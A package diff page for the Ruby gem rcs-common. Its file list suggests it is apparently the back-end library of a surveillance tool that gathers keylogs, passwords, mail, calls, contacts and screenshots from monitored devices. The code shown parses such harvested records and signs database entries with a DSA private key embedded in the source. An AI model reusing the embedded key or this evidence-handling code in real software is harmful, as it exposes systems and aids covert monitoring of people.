rcs-common 9.6.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (116) hide show
  1. checksums.yaml +7 -0
  2. data/.gitignore +49 -0
  3. data/Gemfile +4 -0
  4. data/LICENSE.txt +1 -0
  5. data/Rakefile +27 -0
  6. data/lib/rcs-common.rb +21 -0
  7. data/lib/rcs-common/binary.rb +64 -0
  8. data/lib/rcs-common/cgi.rb +7 -0
  9. data/lib/rcs-common/component.rb +87 -0
  10. data/lib/rcs-common/crypt.rb +71 -0
  11. data/lib/rcs-common/deploy.rb +96 -0
  12. data/lib/rcs-common/diagnosticable.rb +136 -0
  13. data/lib/rcs-common/evidence.rb +261 -0
  14. data/lib/rcs-common/evidence/addressbook.rb +173 -0
  15. data/lib/rcs-common/evidence/application.rb +59 -0
  16. data/lib/rcs-common/evidence/calendar.rb +62 -0
  17. data/lib/rcs-common/evidence/call.rb +185 -0
  18. data/lib/rcs-common/evidence/camera.rb +25 -0
  19. data/lib/rcs-common/evidence/chat.rb +272 -0
  20. data/lib/rcs-common/evidence/clibpoard.rb +58 -0
  21. data/lib/rcs-common/evidence/command.rb +50 -0
  22. data/lib/rcs-common/evidence/common.rb +78 -0
  23. data/lib/rcs-common/evidence/content/camera/001.jpg +0 -0
  24. data/lib/rcs-common/evidence/content/coin/wallet_bit.dat +0 -0
  25. data/lib/rcs-common/evidence/content/coin/wallet_lite.dat +0 -0
  26. data/lib/rcs-common/evidence/content/file/Einstein.docx +0 -0
  27. data/lib/rcs-common/evidence/content/file/arabic.docx +0 -0
  28. data/lib/rcs-common/evidence/content/mouse/001.jpg +0 -0
  29. data/lib/rcs-common/evidence/content/mouse/002.jpg +0 -0
  30. data/lib/rcs-common/evidence/content/mouse/003.jpg +0 -0
  31. data/lib/rcs-common/evidence/content/mouse/004.jpg +0 -0
  32. data/lib/rcs-common/evidence/content/print/001.jpg +0 -0
  33. data/lib/rcs-common/evidence/content/screenshot/001.jpg +0 -0
  34. data/lib/rcs-common/evidence/content/screenshot/002.jpg +0 -0
  35. data/lib/rcs-common/evidence/content/screenshot/003.jpg +0 -0
  36. data/lib/rcs-common/evidence/content/url/001.jpg +0 -0
  37. data/lib/rcs-common/evidence/content/url/002.jpg +0 -0
  38. data/lib/rcs-common/evidence/content/url/003.jpg +0 -0
  39. data/lib/rcs-common/evidence/device.rb +23 -0
  40. data/lib/rcs-common/evidence/download.rb +54 -0
  41. data/lib/rcs-common/evidence/exec.rb +0 -0
  42. data/lib/rcs-common/evidence/file.rb +129 -0
  43. data/lib/rcs-common/evidence/filesystem.rb +71 -0
  44. data/lib/rcs-common/evidence/info.rb +24 -0
  45. data/lib/rcs-common/evidence/keylog.rb +84 -0
  46. data/lib/rcs-common/evidence/mail.rb +237 -0
  47. data/lib/rcs-common/evidence/mic.rb +39 -0
  48. data/lib/rcs-common/evidence/mms.rb +36 -0
  49. data/lib/rcs-common/evidence/money.rb +676 -0
  50. data/lib/rcs-common/evidence/mouse.rb +62 -0
  51. data/lib/rcs-common/evidence/password.rb +60 -0
  52. data/lib/rcs-common/evidence/photo.rb +80 -0
  53. data/lib/rcs-common/evidence/position.rb +303 -0
  54. data/lib/rcs-common/evidence/print.rb +50 -0
  55. data/lib/rcs-common/evidence/screenshot.rb +53 -0
  56. data/lib/rcs-common/evidence/sms.rb +91 -0
  57. data/lib/rcs-common/evidence/url.rb +133 -0
  58. data/lib/rcs-common/fixnum.rb +48 -0
  59. data/lib/rcs-common/gridfs.rb +294 -0
  60. data/lib/rcs-common/heartbeat.rb +96 -0
  61. data/lib/rcs-common/keywords.rb +50 -0
  62. data/lib/rcs-common/mime.rb +65 -0
  63. data/lib/rcs-common/mongoid.rb +19 -0
  64. data/lib/rcs-common/pascalize.rb +62 -0
  65. data/lib/rcs-common/path_utils.rb +67 -0
  66. data/lib/rcs-common/resolver.rb +40 -0
  67. data/lib/rcs-common/rest.rb +17 -0
  68. data/lib/rcs-common/sanitize.rb +42 -0
  69. data/lib/rcs-common/serializer.rb +404 -0
  70. data/lib/rcs-common/signature.rb +141 -0
  71. data/lib/rcs-common/stats.rb +94 -0
  72. data/lib/rcs-common/symbolize.rb +10 -0
  73. data/lib/rcs-common/systemstatus.rb +136 -0
  74. data/lib/rcs-common/temporary.rb +13 -0
  75. data/lib/rcs-common/time.rb +24 -0
  76. data/lib/rcs-common/trace.rb +138 -0
  77. data/lib/rcs-common/trace.yaml +42 -0
  78. data/lib/rcs-common/updater/client.rb +354 -0
  79. data/lib/rcs-common/updater/dsl.rb +178 -0
  80. data/lib/rcs-common/updater/payload.rb +79 -0
  81. data/lib/rcs-common/updater/server.rb +126 -0
  82. data/lib/rcs-common/updater/shared_key.rb +55 -0
  83. data/lib/rcs-common/updater/tmp_dir.rb +13 -0
  84. data/lib/rcs-common/utf16le.rb +83 -0
  85. data/lib/rcs-common/version.rb +5 -0
  86. data/lib/rcs-common/winfirewall.rb +235 -0
  87. data/rcs-common.gemspec +64 -0
  88. data/spec/gridfs_spec.rb +637 -0
  89. data/spec/mongoid.yaml +6 -0
  90. data/spec/signature_spec.rb +105 -0
  91. data/spec/spec_helper.rb +22 -0
  92. data/spec/updater_spec.rb +80 -0
  93. data/tasks/deploy.rake +21 -0
  94. data/tasks/protect.rake +90 -0
  95. data/test/helper.rb +17 -0
  96. data/test/test_binary.rb +107 -0
  97. data/test/test_cgi.rb +14 -0
  98. data/test/test_crypt.rb +125 -0
  99. data/test/test_evidence.rb +52 -0
  100. data/test/test_evidence_manager.rb +119 -0
  101. data/test/test_fixnum.rb +35 -0
  102. data/test/test_keywords.rb +137 -0
  103. data/test/test_mime.rb +49 -0
  104. data/test/test_pascalize.rb +100 -0
  105. data/test/test_path_utils.rb +24 -0
  106. data/test/test_rcs-common.rb +7 -0
  107. data/test/test_sanitize.rb +40 -0
  108. data/test/test_serialization.rb +20 -0
  109. data/test/test_stats.rb +90 -0
  110. data/test/test_symbolize.rb +20 -0
  111. data/test/test_systemstatus.rb +35 -0
  112. data/test/test_time.rb +56 -0
  113. data/test/test_trace.rb +25 -0
  114. data/test/test_utf16le.rb +71 -0
  115. data/test/test_winfirewall.rb +68 -0
  116. metadata +423 -0
@@ -0,0 +1,404 @@
1
+ require 'stringio'
2
+ require_relative 'trace'
3
+ require_relative 'evidence/common'
4
+
5
+ require 'rcs-common/trace'
6
+
7
+ class StringIO
8
+ def read_dword
9
+ self.read(4).unpack('L').shift
10
+ end
11
+ end
12
+
13
+ module RCS
14
+
15
+ module Serialization
16
+ PREFIX_MASK = 0x00FFFFFF
17
+
18
+ def self.prefix(type, size)
19
+ [(type << 0x18) | size].pack('L')
20
+ end
21
+
22
+ def self.decode_prefix(str)
23
+ prefix = str.unpack('L').shift
24
+ return (prefix & ~PREFIX_MASK) >> 0x18, prefix & PREFIX_MASK
25
+ end
26
+ end
27
+
28
+ class MAPISerializer
29
+ include RCS::Tracer
30
+
31
+ attr_reader :fields, :size, :delivery_time, :flags
32
+
33
+ TYPES = {0x03 => {field: :from, action: :unserialize_string},
34
+ 0x04 => {field: :rcpt, action: :unserialize_string},
35
+ 0x05 => {field: :cc, action: :unserialize_string},
36
+ 0x06 => {field: :bcc, action: :unserialize_string},
37
+ 0x07 => {field: :subject, action: :unserialize_string},
38
+ 0x80 => {field: :mime_body, action: :unserialize_blob},
39
+ 0x84 => {field: :text_body, action: :unserialize_blob}
40
+ }
41
+
42
+ def initialize
43
+ @fields = {}
44
+ end
45
+
46
+ def unserialize(stream)
47
+
48
+ # HEADER
49
+ header_begin = stream.pos
50
+
51
+ tot_size = stream.read_dword
52
+ @version = stream.read_dword
53
+ @status = stream.read_dword
54
+ @flags = stream.read_dword
55
+ @size = stream.read_dword
56
+ low, high = stream.read(8).unpack 'V2'
57
+ @delivery_time = Time.from_filetime high, low
58
+ @n_attachments = stream.read_dword
59
+
60
+ # BODY
61
+ header_length = stream.pos - header_begin
62
+ content = stream.read(tot_size - header_length)
63
+ until content.empty?
64
+ prefix = content.slice!(0, 4)
65
+ type, size = Serialization.decode_prefix prefix
66
+ str = content.slice!(0, size)
67
+ selector = TYPES[type]
68
+ unless selector.nil?
69
+ @fields[selector[:field]] = self.send(selector[:action], str) if TYPES.has_key? type
70
+ end
71
+ end
72
+
73
+ self
74
+ end
75
+
76
+ def unserialize_string(str)
77
+ str.utf16le_to_utf8
78
+ end
79
+
80
+ def unserialize_blob(str)
81
+ str
82
+ end
83
+ end
84
+
85
+ class CallListSerializer
86
+ include RCS::Tracer
87
+
88
+ TYPES = {0x01 => :name, 0x02 => :type, 0x04 => :note, 0x08 => :number}
89
+ INCOMING = 0x00
90
+ OUTGOING = 0x01
91
+
92
+ attr_reader :start_time, :end_time, :fields, :properties
93
+
94
+ def initialize
95
+ @fields = {}
96
+ @start_time = nil
97
+ @end_time = nil
98
+ @properties = []
99
+ end
100
+
101
+ def unserialize(stream)
102
+
103
+ # HEADER
104
+ header_begin = stream.pos
105
+
106
+ tot_size = stream.read(4).unpack('L').shift
107
+ version = stream.read(4).unpack('L').shift
108
+
109
+ low, high = stream.read(8).unpack 'V2'
110
+ @start_time = Time.from_filetime high, low
111
+ low, high = stream.read(8).unpack 'V2'
112
+ @end_time = Time.from_filetime high, low
113
+
114
+ props = stream.read(4).unpack('L').shift
115
+ if props & OUTGOING == 1
116
+ @properties << :outgoing
117
+ else
118
+ @properties << :incoming
119
+ end
120
+
121
+ # BODY
122
+ header_length = stream.pos - header_begin
123
+ content = stream.read(tot_size - header_length)
124
+
125
+ until content.empty?
126
+ prefix = content.slice!(0, 4)
127
+ type, size = Serialization.decode_prefix prefix
128
+ @fields[TYPES[type]] = content.slice!(0, size).utf16le_to_utf8
129
+ end
130
+
131
+ self
132
+ end
133
+ end
134
+
135
+ class CalendarSerializer
136
+ include RCS::Tracer
137
+
138
+ POOM_V1_0_PROTO = 0x01000000
139
+ FLAG_RECUR = 0x00000008
140
+
141
+ attr_reader :start_date, :end_date, :fields
142
+
143
+ CALENDAR_TYPES = { 0x01 => :subject,
144
+ 0x02 => :categories,
145
+ 0x04 => :body,
146
+ 0x08 => :recipients,
147
+ 0x10 => :location}
148
+
149
+ def initialize
150
+ @fields = {}
151
+ @start_date = nil
152
+ @end_date = nil
153
+ end
154
+
155
+ def unserialize(stream)
156
+ header_begin = stream.pos
157
+
158
+ tot_size = stream.read(4).unpack('L').shift
159
+ version = stream.read(4).unpack('L').shift
160
+ oid = stream.read(4).unpack('L').shift
161
+
162
+ raise EvidenceDeserializeError.new("Invalid version") unless version == POOM_V1_0_PROTO
163
+
164
+ # BODY
165
+ header_length = stream.pos - header_begin
166
+ content = stream.read(tot_size - header_length)
167
+ until content.empty?
168
+ @flags = content.slice!(0, 4).unpack('L').shift
169
+
170
+ ft_low = content.slice!(0, 4).unpack('L').shift
171
+ ft_high = content.slice!(0, 4).unpack('L').shift
172
+ @start_date = Time.from_filetime(ft_high, ft_low)
173
+
174
+ ft_low = content.slice!(0, 4).unpack('L').shift
175
+ ft_high = content.slice!(0, 4).unpack('L').shift
176
+ @end_date = Time.from_filetime(ft_high, ft_low)
177
+
178
+ @sensitivity = content.slice!(0, 4).unpack('L').shift
179
+ @busy = content.slice!(0, 4).unpack('L').shift
180
+ @duration = content.slice!(0, 4).unpack('L').shift
181
+ @status = content.slice!(0, 4).unpack('L').shift
182
+
183
+ if @flags == FLAG_RECUR
184
+ return self if content.bytesize < 28 + 16 # struct _TaskRecur
185
+
186
+ type, interval, month_of_year, day_of_month, day_of_week_mask, instance, occurrences = *content.slice!(0, 28).unpack("L*")
187
+ ft_low = content.slice!(0, 4).unpack('L').shift
188
+ ft_high = content.slice!(0, 4).unpack('L').shift
189
+ @pattern_start_date = Time.from_filetime(ft_high, ft_low)
190
+
191
+ ft_low = content.slice!(0, 4).unpack('L').shift
192
+ ft_high = content.slice!(0, 4).unpack('L').shift
193
+ @pattern_end_date = Time.from_filetime(ft_high, ft_low)
194
+ end
195
+
196
+ until content.empty? do
197
+ prefix = content.slice!(0, 4)
198
+ type, size = Serialization.decode_prefix prefix
199
+ @fields[CALENDAR_TYPES[type]] = content.slice!(0, size).utf16le_to_utf8 if CALENDAR_TYPES.has_key? type
200
+ end
201
+ end
202
+
203
+ self
204
+ end
205
+
206
+ end #CalendarSerializer
207
+
208
+ class AddressBookSerializer
209
+ include RCS::Tracer
210
+
211
+ attr_reader :name, :contact, :info, :type, :program, :handles
212
+
213
+ POOM_V1_0_PROTO = 0x01000000
214
+ POOM_V2_0_PROTO = 0x01000001
215
+
216
+ LOCAL_CONTACT = 0x80000000
217
+
218
+ ADDRESSBOOK_TYPES = { 0x1 => :first_name,
219
+ 0x2 => :last_name,
220
+ 0x3 => :company,
221
+ 0x4 => :business_fax_number,
222
+ 0x5 => :department,
223
+ 0x6 => :email_1,
224
+ 0x7 => :mobile_phone_number,
225
+ 0x8 => :office_location,
226
+ 0x9 => :pager_number,
227
+ 0xA => :business_phone_number,
228
+ 0xB => :job_title,
229
+ 0xC => :home_phone_number,
230
+ 0xD => :email_2,
231
+ 0xE => :spouse,
232
+ 0xF => :email_3,
233
+ 0x10 => :home_2_phone_number,
234
+ 0x11 => :home_fax_number,
235
+ 0x12 => :car_phone_number,
236
+ 0x13 => :assistant_name,
237
+ 0x14 => :assistant_phone_number,
238
+ 0x15 => :children,
239
+ 0x16 => :categories,
240
+ 0x17 => :web_page,
241
+ 0x18 => :business_2_phone_number,
242
+ 0x19 => :radio_phone_number,
243
+ 0x1A => :file_as,
244
+ 0x1B => :yomi_company_name,
245
+ 0x1C => :yomi_first_name,
246
+ 0x1D => :yomi_last_name,
247
+ 0x1E => :title,
248
+ 0x1F => :middle_name,
249
+ 0x20 => :suffix,
250
+ 0x21 => :home_address_street,
251
+ 0x22 => :home_address_city,
252
+ 0x23 => :home_address_state,
253
+ 0x24 => :home_address_postal_code,
254
+ 0x25 => :home_address_country,
255
+ 0x26 => :other_address_street,
256
+ 0x27 => :other_address_city,
257
+ 0x28 => :other_address_postal_code,
258
+ 0x29 => :other_address_country,
259
+ 0x2A => :business_address_street,
260
+ 0x2B => :business_address_city,
261
+ 0x2C => :business_address_state,
262
+ 0x2D => :business_address_postal_code,
263
+ 0x2E => :business_address_country,
264
+ 0x2F => :other_address_state,
265
+ 0x30 => :body,
266
+ 0x31 => :birthday,
267
+ 0x32 => :anniversary,
268
+ 0x33 => :screen_name,
269
+ 0x34 => :phone_numbers,
270
+ 0x35 => :address,
271
+ 0x36 => :notes,
272
+ 0x37 => :unknown,
273
+ 0x38 => :facebook_page,
274
+ 0x40 => :handle}
275
+
276
+ ADDRESSBOOK_PROGRAM = {
277
+ 0x01 => :outlook,
278
+ 0x02 => :skype,
279
+ 0x03 => :facebook,
280
+ 0x04 => :twitter,
281
+ 0x05 => :gmail,
282
+ 0x06 => :bbm,
283
+ 0x07 => :whatsapp,
284
+ 0x08 => :phone,
285
+ 0x09 => :mail,
286
+ 0x0a => :linkedin,
287
+ 0x0b => :viber,
288
+ 0x0c => :wechat,
289
+ 0x0d => :line,
290
+ 0x0e => :telegram,
291
+ 0x0f => :yahoo,
292
+ 0x10 => :messages,
293
+ 0x11 => :contacts
294
+ }
295
+
296
+ TYPE_FLAGS = {
297
+ twitter: {0x00 => :friend, 0x01 => :follower}
298
+ }
299
+
300
+ def initialize
301
+ @fields = {}
302
+ @handles = []
303
+ @poom_strings = {}
304
+ ADDRESSBOOK_TYPES.each_pair do |k, v|
305
+ @poom_strings[v] = v.to_s.gsub(/_/, " ").capitalize.encode('UTF-8')
306
+ end
307
+ @poom_strings[:unknown] = nil # when unknown, field name is given by agent
308
+ end
309
+
310
+ def serialize(fields)
311
+ stream = StringIO.new
312
+ fields.each_pair do |type, str|
313
+ utf16le_str = str.to_utf16le_binary_null
314
+ stream.write Serialization.prefix(ADDRESSBOOK_TYPES.invert[type], utf16le_str.bytesize)
315
+ stream.write utf16le_str
316
+ end
317
+ header = [stream.pos + 20, POOM_V2_0_PROTO, 0].pack('L*')
318
+ header += [ADDRESSBOOK_PROGRAM.invert[:contacts], [0, LOCAL_CONTACT].sample].pack('L*')
319
+
320
+ return header + stream.string
321
+ end
322
+
323
+ def unserialize(stream)
324
+
325
+ header_begin = stream.pos
326
+
327
+ # discard header
328
+ tot_size = stream.read(4).unpack("L").shift
329
+ version = stream.read(4).unpack("L").shift
330
+ oid = stream.read(4).unpack("L").shift
331
+
332
+ if version != POOM_V1_0_PROTO and version != POOM_V2_0_PROTO
333
+ raise EvidenceDeserializeError.new("Invalid addressbook version (#{version})")
334
+ end
335
+
336
+ case version
337
+ when POOM_V1_0_PROTO
338
+ program = 0
339
+ flags = 0
340
+ when POOM_V2_0_PROTO
341
+ program = stream.read(4).unpack("L").shift
342
+ flags = stream.read(4).unpack("L").shift
343
+ end
344
+
345
+ # initialize the values to array
346
+ @fields = Hash.new {|h,k| h[k] = []}
347
+
348
+ # BODY
349
+ header_length = stream.pos - header_begin
350
+ content = stream.read(tot_size - header_length)
351
+ until content.empty?
352
+ type, size = Serialization.decode_prefix content.slice!(0, 4)
353
+ str = content.slice!(0, size).utf16le_to_utf8
354
+ #trace :debug, "ADDRESSBOOK FIELD #{ADDRESSBOOK_TYPES[type]} = #{str}"
355
+ @fields[ADDRESSBOOK_TYPES[type]] << str if ADDRESSBOOK_TYPES.has_key? type
356
+ end
357
+
358
+ # name
359
+ @name = ""
360
+ @name = @fields[:first_name].first if @fields.has_key? :first_name
361
+ @name += " " + @fields[:last_name].first if @fields.has_key? :last_name
362
+
363
+ @program = ADDRESSBOOK_PROGRAM[program]
364
+ @program ||= :unknown
365
+
366
+ @type = TYPE_FLAGS[@program][flags] if TYPE_FLAGS.has_key? @program
367
+ @type ||= :peer
368
+ @type = :target if (flags & LOCAL_CONTACT != 0)
369
+
370
+ # choose the most significant contact field (the handle)
371
+ @contact = ""
372
+ if @fields.has_key? :handle
373
+ @contact = @fields[:handle].first
374
+ @handles << {type: @program, handle: @fields[:handle].first}
375
+ end
376
+
377
+ #trace :debug, "FIELDS: #{@fields.inspect}"
378
+
379
+ # info
380
+ @info = ""
381
+ omitted_fields = [:first_name, :last_name, :body, :file_as]
382
+ @fields.each_pair do |k, v|
383
+ next if omitted_fields.include? k
384
+ v.each do |entry|
385
+ str = @poom_strings[k]
386
+ add_to_handles(str, entry) if str and entry
387
+ @info += str.nil? ? "" : "#{str}: "
388
+ @info += entry
389
+ @info += "\n"
390
+ end
391
+ end
392
+
393
+ self
394
+ end
395
+
396
+ def add_to_handles(key, value)
397
+ # only take the phones and mails
398
+ return if key['phone'].nil? and key['mail'].nil?
399
+ @handles << {type: 'phone', handle: value} if key['phone']
400
+ @handles << {type: 'mail', handle: value} if key['mail']
401
+ end
402
+
403
+ end # ::PoomSerializer
404
+ end # ::RCS
@@ -0,0 +1,141 @@
1
+ require 'base64'
2
+ require 'openssl'
3
+ require 'json'
4
+
5
+ module RCS
6
+ module Mongoid
7
+ module Signature
8
+ extend ActiveSupport::Concern
9
+
10
+ DSA_PRIV_KEY = <<END
11
+ -----BEGIN DSA PRIVATE KEY-----
12
+ MIIDVgIBAAKCAQEAs/Le9TeFwd6Wp0ZaSwthvKcYmMkewqyx3L+xl7S4EkQOI4ky
13
+ 9n4Yp4LJ2EnIdo6iwj5fLcxTXRPem1uWaPNXT0ILKWr6Eu9yetgKaiK6i+Iy8Rtb
14
+ XA2e/CEh+Hl4zL5UnNLQcxtZ7pYML6Lq7h27OTyXFU4tZsxSH1oSdr0KJE7kHmij
15
+ gLaub5yjjBQF8pcADpWHih06NQ6zj7rKEXH2RLgiE3dZbN29VqP3/edx1XASuoAd
16
+ 6DKzfYH8H9Pp6mMI9s2+kzvLdnubuDdq+rA3aSZC+iHczBUCjbdshLzsyac4et5b
17
+ wjRIKZmA674InCKq2MVZjJPoE1jmoPpINigo2QIhAIn55YqthSk3B044NJSL7pfg
18
+ UwrWAT00RAuKoB849MSRAoIBAGcdWSnhTjRbWV23niaLnDGH+s/v9UGcokGQiTU9
19
+ 4Yy+6fVaFoNqs6s4wfcGaQDQIUDZ67dMU2ARkImLjxAN/DOnopXtwdZQXd9vXoMp
20
+ Qi89lfJ8/elwW4nAY9cWnyl67shv17vyjJZATMvH8/YvyphDJDUh191z3MGu/6O+
21
+ yRuZcJ0aqyvcbGpj0zox9oFLnNltroeB7zExeJ5GFcVrZQ5Tza07LcRBjAbo0Icw
22
+ F6bNVRadrLRywwxE+zym73Vz4x48euoKo95AsevOFQ+osIlDEL1BkPKa9jiEFTHq
23
+ XBleabczfnBYTOIwNWKuUXeboBpjNX5ZPzOu+UvnRr9JLDMCggEBAJhmfz1PDIA5
24
+ TvfUyUT9NkLUpQk5EOvQ4fAQx7ktETA683lEZR+sdL66aEheqEwMRor1DofM/gYO
25
+ WAE+tzusnPZ/yrP6mrLXeWrWbjM0gdcbW2NVR7Vh6s3fziX6UIxpmBeWitqYE4PH
26
+ ue9p6meRhHxR5HB2ws9EldxCN/sgqOvVIAhfbla0WMd1kEkSi9Zoitl43LtP2GhJ
27
+ pb+O4eBoOfdC4c3eYlHgXYAEo5CYytDF+Rv51Mu9BsqPfcPsAGgaAQLugqLYYHRw
28
+ LKzCzBPvkAF1C+zW+Qk+FrZbwhBqiJBSXH7IxM+6OrQxLR+lJuLBSkSap30TFBc7
29
+ g3zksvKZdi0CIEPlMqeN/iQIXzjDP9L8ofSkoo/x7ixyaHHk6CjmoWMm
30
+ -----END DSA PRIVATE KEY-----
31
+ END
32
+
33
+ DSA_PUB_KEY = <<END
34
+ -----BEGIN PUBLIC KEY-----
35
+ MIIDRzCCAjkGByqGSM44BAEwggIsAoIBAQCz8t71N4XB3panRlpLC2G8pxiYyR7C
36
+ rLHcv7GXtLgSRA4jiTL2fhingsnYSch2jqLCPl8tzFNdE96bW5Zo81dPQgspavoS
37
+ 73J62ApqIrqL4jLxG1tcDZ78ISH4eXjMvlSc0tBzG1nulgwvouruHbs5PJcVTi1m
38
+ zFIfWhJ2vQokTuQeaKOAtq5vnKOMFAXylwAOlYeKHTo1DrOPusoRcfZEuCITd1ls
39
+ 3b1Wo/f953HVcBK6gB3oMrN9gfwf0+nqYwj2zb6TO8t2e5u4N2r6sDdpJkL6IdzM
40
+ FQKNt2yEvOzJpzh63lvCNEgpmYDrvgicIqrYxVmMk+gTWOag+kg2KCjZAiEAifnl
41
+ iq2FKTcHTjg0lIvul+BTCtYBPTREC4qgHzj0xJECggEAZx1ZKeFONFtZXbeeJouc
42
+ MYf6z+/1QZyiQZCJNT3hjL7p9VoWg2qzqzjB9wZpANAhQNnrt0xTYBGQiYuPEA38
43
+ M6eile3B1lBd329egylCLz2V8nz96XBbicBj1xafKXruyG/Xu/KMlkBMy8fz9i/K
44
+ mEMkNSHX3XPcwa7/o77JG5lwnRqrK9xsamPTOjH2gUuc2W2uh4HvMTF4nkYVxWtl
45
+ DlPNrTstxEGMBujQhzAXps1VFp2stHLDDET7PKbvdXPjHjx66gqj3kCx684VD6iw
46
+ iUMQvUGQ8pr2OIQVMepcGV5ptzN+cFhM4jA1Yq5Rd5ugGmM1flk/M675S+dGv0ks
47
+ MwOCAQYAAoIBAQCYZn89TwyAOU731MlE/TZC1KUJORDr0OHwEMe5LREwOvN5RGUf
48
+ rHS+umhIXqhMDEaK9Q6HzP4GDlgBPrc7rJz2f8qz+pqy13lq1m4zNIHXG1tjVUe1
49
+ YerN384l+lCMaZgXloramBODx7nvaepnkYR8UeRwdsLPRJXcQjf7IKjr1SAIX25W
50
+ tFjHdZBJEovWaIrZeNy7T9hoSaW/juHgaDn3QuHN3mJR4F2ABKOQmMrQxfkb+dTL
51
+ vQbKj33D7ABoGgEC7oKi2GB0cCyswswT75ABdQvs1vkJPha2W8IQaoiQUlx+yMTP
52
+ ujq0MS0fpSbiwUpEmqd9ExQXO4N85LLymXYt
53
+ -----END PUBLIC KEY-----
54
+ END
55
+
56
+ included do
57
+ cattr_accessor :signature_fields
58
+ self.signature_fields = []
59
+
60
+ cattr_accessor :signature_chained
61
+ self.signature_chained = false
62
+
63
+ cattr_accessor :dsa_priv, :dsa_pub
64
+ self.dsa_priv = OpenSSL::PKey::DSA.new(DSA_PRIV_KEY)
65
+ self.dsa_pub = OpenSSL::PKey::DSA.new(DSA_PUB_KEY)
66
+
67
+ field :signature, type: Hash, default: {}
68
+
69
+ set_callback :create, :before, :set_signature
70
+ set_callback :update, :before, :set_signature
71
+ end
72
+
73
+ def set_signature
74
+ now = Time.now.getutc.to_f
75
+
76
+ # save the version and the fields used to calculate the signature
77
+ # this could help in the future if the signature_fields are changed
78
+ hash = {version: 1,
79
+ fields: signature_fields,
80
+ timestamp: now}
81
+
82
+ #puts "SET: #{signature_fields} => #{concat_values(hash, signature_fields)}"
83
+
84
+ # calculate the digest
85
+ digest = OpenSSL::Digest::SHA256.digest(concat_values(hash, signature_fields))
86
+ # sign the digest
87
+ sig = dsa_priv.syssign(digest)
88
+
89
+ # put the dsa signature in the hash and save it
90
+ hash[:signature] = Base64.strict_encode64(sig)
91
+ self.signature[:integrity] = Base64.strict_encode64(hash.to_json)
92
+ end
93
+
94
+ def check_signature
95
+ # load the serialized signature
96
+ hash = JSON.parse(Base64.decode64(self.signature[:integrity])).with_indifferent_access
97
+
98
+ # extract and remove the dsa signature from the hash
99
+ sig = Base64.decode64(hash.delete(:signature))
100
+
101
+ #puts "CHECK: #{signature_fields} => #{concat_values(hash, hash[:fields])}"
102
+
103
+ # calculate the digest
104
+ digest = OpenSSL::Digest::SHA256.digest(concat_values(hash, hash[:fields]))
105
+ # verify the integrity
106
+ dsa_pub.sysverify(digest, sig)
107
+ rescue Exception => e
108
+ #puts e.message
109
+ #puts e.backtrace.join("\n")
110
+ false
111
+ end
112
+
113
+ def signature_fields
114
+ self.class.signature_fields
115
+ end
116
+
117
+ private
118
+
119
+ def concat_values(hash, keys)
120
+ # always include the id of the document to prevent cloning of document
121
+ # also include the hash itself (with timestamp) to prevent replay attack
122
+ text = self[:_id].to_s + '|' + hash.to_json + '|'
123
+
124
+ # concatenate all the other fields
125
+ keys.each do |key|
126
+ # use json serialization here, since it works for strings, integers, complex arrays or hashes...
127
+ text << self[key].to_json + '|' unless self[key].blank?
128
+ end
129
+
130
+ return text
131
+ end
132
+
133
+ module ClassMethods
134
+ def sign_options(options)
135
+ self.signature_fields = options[:include] if options[:include]
136
+ end
137
+ end
138
+
139
+ end
140
+ end
141
+ end